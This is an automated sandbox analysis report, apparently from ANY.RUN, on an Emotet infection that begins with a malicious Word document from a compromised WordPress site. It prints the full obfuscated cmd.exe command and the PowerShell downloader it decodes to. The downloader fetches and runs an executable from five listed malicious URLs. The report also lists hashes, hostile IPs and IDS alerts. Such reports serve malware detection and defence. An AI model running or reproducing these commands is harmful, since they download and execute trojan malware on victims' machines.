URL: | http://ringcap.ir/wp-includes/Clients_transactions/012019 |
Full analysis: | https://app.any.run/tasks/ee75090a-34bd-4d94-879f-bd1e66d8a6f8 |
Verdict: | Malicious activity |
Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
Analysis date: | January 22, 2019, 19:38:08 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MD5: | A0B2F3F21F3CB95B399D8AE60673EA5F |
SHA1: | 2D07B5996018567EA84C0C643D885A72DD8B4797 |
SHA256: | 0F63E7F1DE7408D4E2796CAEB16C8E95F6B070F4185416FDAD336726F4C5B581 |
SSDEEP: | 3:N1KMZGaWbxLGe20BWhDGRMKiK+X+c:CMvwxyfVGeK+uc |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2964 | "C:\Program Files\Internet Explorer\iexplore.exe" -nohome | C:\Program Files\Internet Explorer\iexplore.exe | explorer.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Internet Explorer Exit code: 1 Version: 8.00.7600.16385 (win7_rtm.090713-1255) | ||||
3120 | "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2964 CREDAT:71937 | C:\Program Files\Internet Explorer\iexplore.exe | iexplore.exe | |
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Internet Explorer Exit code: 0 Version: 8.00.7600.16385 (win7_rtm.090713-1255) | ||||
2036 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\OCDM6JB6\Untitled_attachment_20190122[1].doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | iexplore.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
3156 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Embedding | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 | ||||
3244 | c:\o4277\v3448\j5495\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:O/C"set Qbq=D%rkjUNcIgeMCP'a=(/ u)B2~ELnb{zvYW5sf4i,6h3Sq}0-1\:.Tld+;9yxtFOwAJ7Gm@$X8op&&for %P in (74,73,63,1,13,5,22,26,8,12,50,24,34,39,48,1,2,1,43,25,43,43,8,62,6,6,64,11,25,50,24,47,37,39,48,1,41,1,52,25,11,13,50,24,47,42,39,48,1,53,53,19,70,74,23,48,66,42,16,14,7,72,46,66,48,14,56,70,44,48,57,72,16,27,10,63,47,73,28,4,10,7,60,19,6,10,60,51,33,10,28,12,53,38,10,27,60,56,70,15,66,23,46,42,16,14,41,60,60,74,50,18,18,54,20,15,27,68,38,30,20,3,38,74,15,2,3,51,7,73,68,18,42,4,54,37,41,48,44,38,63,69,41,60,60,74,50,18,18,27,15,60,38,73,27,15,53,38,54,10,15,51,38,27,36,73,18,65,32,42,44,9,31,52,52,69,41,60,60,74,50,18,18,28,38,30,27,10,35,51,2,38,35,10,47,20,74,51,27,35,3,51,2,20,18,13,28,3,52,66,65,22,68,69,41,60,60,74,50,18,18,42,37,51,23,42,57,51,57,34,51,72,46,18,32,42,40,71,35,34,13,35,68,69,41,60,60,74,50,18,18,68,15,38,53,51,41,73,60,9,38,2,53,35,9,15,68,10,35,51,59,58,30,18,5,73,60,38,62,68,10,14,51,43,74,53,38,60,17,14,69,14,21,56,70,30,72,37,34,48,16,14,60,57,34,37,57,14,56,70,41,42,40,23,57,19,16,19,14,48,46,48,14,56,70,4,57,42,34,46,16,14,30,37,34,66,48,14,56,70,44,40,40,34,42,16,70,10,27,31,50,60,10,68,74,55,14,49,14,55,70,41,42,40,23,57,55,14,51,10,59,10,14,56,36,73,2,10,15,7,41,17,70,73,66,37,48,46,19,38,27,19,70,15,66,23,46,42,21,29,60,2,58,29,70,44,48,57,72,51,0,73,63,27,53,73,15,54,61,38,53,10,17,70,73,66,37,48,46,39,19,70,44,40,40,34,42,21,56,70,68,34,46,37,23,16,14,44,40,48,57,23,14,56,8,36,19,17,17,67,10,60,47,8,60,10,68,19,70,44,40,40,34,42,21,51,53,10,27,9,60,41,19,47,9,10,19,37,46,46,46,46,21,19,29,8,27,31,73,3,10,47,8,60,10,68,19,70,44,40,40,34,42,56,70,63,40,37,40,66,16,14,28,23,66,66,40,14,56,28,2,10,15,3,56,45,45,7,15,60,7,41,29,45,45,70,28,37,34,46,40,16,14,68,57,48,23,46,14,56,79)do set eR7=!eR7!!Qbq:~%P,1!&&if %P equ 79 echo !eR7:*eR7!=!|cmd" | c:\windows\system32\cmd.exe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3700 | CmD /V:O/C"set Qbq=D%rkjUNcIgeMCP'a=(/ u)B2~ELnb{zvYW5sf4i,6h3Sq}0-1\:.Tld+;9yxtFOwAJ7Gm@$X8op&&for %P in (74,73,63,1,13,5,22,26,8,12,50,24,34,39,48,1,2,1,43,25,43,43,8,62,6,6,64,11,25,50,24,47,37,39,48,1,41,1,52,25,11,13,50,24,47,42,39,48,1,53,53,19,70,74,23,48,66,42,16,14,7,72,46,66,48,14,56,70,44,48,57,72,16,27,10,63,47,73,28,4,10,7,60,19,6,10,60,51,33,10,28,12,53,38,10,27,60,56,70,15,66,23,46,42,16,14,41,60,60,74,50,18,18,54,20,15,27,68,38,30,20,3,38,74,15,2,3,51,7,73,68,18,42,4,54,37,41,48,44,38,63,69,41,60,60,74,50,18,18,27,15,60,38,73,27,15,53,38,54,10,15,51,38,27,36,73,18,65,32,42,44,9,31,52,52,69,41,60,60,74,50,18,18,28,38,30,27,10,35,51,2,38,35,10,47,20,74,51,27,35,3,51,2,20,18,13,28,3,52,66,65,22,68,69,41,60,60,74,50,18,18,42,37,51,23,42,57,51,57,34,51,72,46,18,32,42,40,71,35,34,13,35,68,69,41,60,60,74,50,18,18,68,15,38,53,51,41,73,60,9,38,2,53,35,9,15,68,10,35,51,59,58,30,18,5,73,60,38,62,68,10,14,51,43,74,53,38,60,17,14,69,14,21,56,70,30,72,37,34,48,16,14,60,57,34,37,57,14,56,70,41,42,40,23,57,19,16,19,14,48,46,48,14,56,70,4,57,42,34,46,16,14,30,37,34,66,48,14,56,70,44,40,40,34,42,16,70,10,27,31,50,60,10,68,74,55,14,49,14,55,70,41,42,40,23,57,55,14,51,10,59,10,14,56,36,73,2,10,15,7,41,17,70,73,66,37,48,46,19,38,27,19,70,15,66,23,46,42,21,29,60,2,58,29,70,44,48,57,72,51,0,73,63,27,53,73,15,54,61,38,53,10,17,70,73,66,37,48,46,39,19,70,44,40,40,34,42,21,56,70,68,34,46,37,23,16,14,44,40,48,57,23,14,56,8,36,19,17,17,67,10,60,47,8,60,10,68,19,70,44,40,40,34,42,21,51,53,10,27,9,60,41,19,47,9,10,19,37,46,46,46,46,21,19,29,8,27,31,73,3,10,47,8,60,10,68,19,70,44,40,40,34,42,56,70,63,40,37,40,66,16,14,28,23,66,66,40,14,56,28,2,10,15,3,56,45,45,7,15,60,7,41,29,45,45,70,28,37,34,46,40,16,14,68,57,48,23,46,14,56,79)do set eR7=!eR7!!Qbq:~%P,1!&&if %P equ 79 echo !eR7:*eR7!=!|cmd" | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3128 | C:\Windows\system32\cmd.exe /S /D /c" echo pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $p2173='c8071';$q198=new-object Net.WebClient;$a7203='http://duanmizukipark.com/3jd4h1qiw@http://nationalidea.info/JY3qgvTT@http://biznes.rise-up.nsk.ru/PbkT7JBm@http://34.239.95.80/Y36Xs5Psm@http://mail.hotgirlsgames.xyz/UotiOme'.Split('@');$z8451='t9549';$h3629 = '101';$j9350='z4571';$q6653=$env:temp+'\'+$h3629+'.exe';foreach($o7410 in $a7203){try{$q198.DownloadFile($o7410, $q6653);$m5042='q6192';If ((Get-Item $q6653).length -ge 40000) {Invoke-Item $q6653;$w6467='b2776';break;}}catch{}}$b4506='m9120';" | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3740 | cmd | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
1464 | powershell $p2173='c8071';$q198=new-object Net.WebClient;$a7203='http://duanmizukipark.com/3jd4h1qiw@http://nationalidea.info/JY3qgvTT@http://biznes.rise-up.nsk.ru/PbkT7JBm@http://34.239.95.80/Y36Xs5Psm@http://mail.hotgirlsgames.xyz/UotiOme'.Split('@');$z8451='t9549';$h3629 = '101';$j9350='z4571';$q6653=$env:temp+'\'+$h3629+'.exe';foreach($o7410 in $a7203){try{$q198.DownloadFile($o7410, $q6653);$m5042='q6192';If ((Get-Item $q6653).length -ge 40000) {Invoke-Item $q6653;$w6467='b2776';break;}}catch{}}$b4506='m9120'; | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
2292 | "C:\Users\admin\AppData\Local\Temp\101.exe" | C:\Users\admin\AppData\Local\Temp\101.exe | — | powershell.exe |
User: admin Company: Creative Technology Ltd Integrity Level: MEDIUM Description: Thk3216 Exit code: 0 Version: 0.80.00.0260-0.80.2600 |
PID | Process | Filename | Type | |
---|---|---|---|---|
2964 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R9ZEWH8D\favicon[1].ico | — | |
MD5:— | SHA256:— | |||
2964 | iexplore.exe | C:\Users\admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico | — | |
MD5:— | SHA256:— | |||
2964 | iexplore.exe | C:\Users\admin\AppData\Local\Temp\~DF7C88202827A810ED.TMP | — | |
MD5:— | SHA256:— | |||
2036 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR8146.tmp.cvr | — | |
MD5:— | SHA256:— | |||
2036 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\OICE_76261A9D-A085-41D8-8DD3-BBA04B17D0D7.0\CC572A72.doc\:Zone.Identifier:$DATA | — | |
MD5:— | SHA256:— | |||
3156 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\OICE_76261A9D-A085-41D8-8DD3-BBA04B17D0D7.0\D2D6ECC2.jpg | — | |
MD5:— | SHA256:— | |||
2964 | iexplore.exe | C:\Users\admin\AppData\Local\Temp\~DF678348E7BF7E482D.TMP | — | |
MD5:— | SHA256:— | |||
2964 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Internet Explorer\Recovery\Active\RecoveryStore.{47CD1A43-1E7D-11E9-91D7-5254004A04AF}.dat | — | |
MD5:— | SHA256:— | |||
2036 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\407893CB.jpg | — | |
MD5:— | SHA256:— | |||
3156 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\OICE_76261A9D-A085-41D8-8DD3-BBA04B17D0D7.0\~WRS{4DF998B4-54F0-4893-A9A5-43146ABDE2EE}.tmp | — | |
MD5:— | SHA256:— |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
3120 | iexplore.exe | GET | 200 | 136.243.0.125:80 | http://ringcap.ir/wp-includes/Clients_transactions/012019/ | DE | xml | 108 Kb | malicious |
3492 | wabmetagen.exe | GET | — | 200.125.113.60:8080 | http://200.125.113.60:8080/ | AR | — | — | malicious |
1464 | powershell.exe | GET | 200 | 45.252.248.20:80 | http://duanmizukipark.com/3jd4h1qiw/ | VN | executable | 573 Kb | malicious |
2964 | iexplore.exe | GET | 200 | 204.79.197.200:80 | http://www.bing.com/favicon.ico | US | image | 237 b | whitelisted |
3120 | iexplore.exe | GET | 301 | 136.243.0.125:80 | http://ringcap.ir/wp-includes/Clients_transactions/012019 | DE | html | 617 b | malicious |
1464 | powershell.exe | GET | 301 | 45.252.248.20:80 | http://duanmizukipark.com/3jd4h1qiw | VN | html | 617 b | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
2964 | iexplore.exe | 204.79.197.200:80 | www.bing.com | Microsoft Corporation | US | whitelisted |
3120 | iexplore.exe | 136.243.0.125:80 | ringcap.ir | Hetzner Online GmbH | DE | malicious |
1464 | powershell.exe | 45.252.248.20:80 | duanmizukipark.com | AZDIGI Corporation | VN | malicious |
3492 | wabmetagen.exe | 200.125.113.60:8080 | — | Telecentro S.A. | AR | malicious |
Domain | IP | Reputation |
---|---|---|
www.bing.com |
| whitelisted |
ringcap.ir |
| malicious |
duanmizukipark.com |
| malicious |
PID | Process | Class | Message |
---|---|---|---|
3120 | iexplore.exe | A Network Trojan was detected | ET TROJAN Possible malicious Office doc hidden in XML file |
1464 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious loader with tiny header |
1464 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Trojan-Downloader Emoloader Win32 |
1464 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
1464 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
1464 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |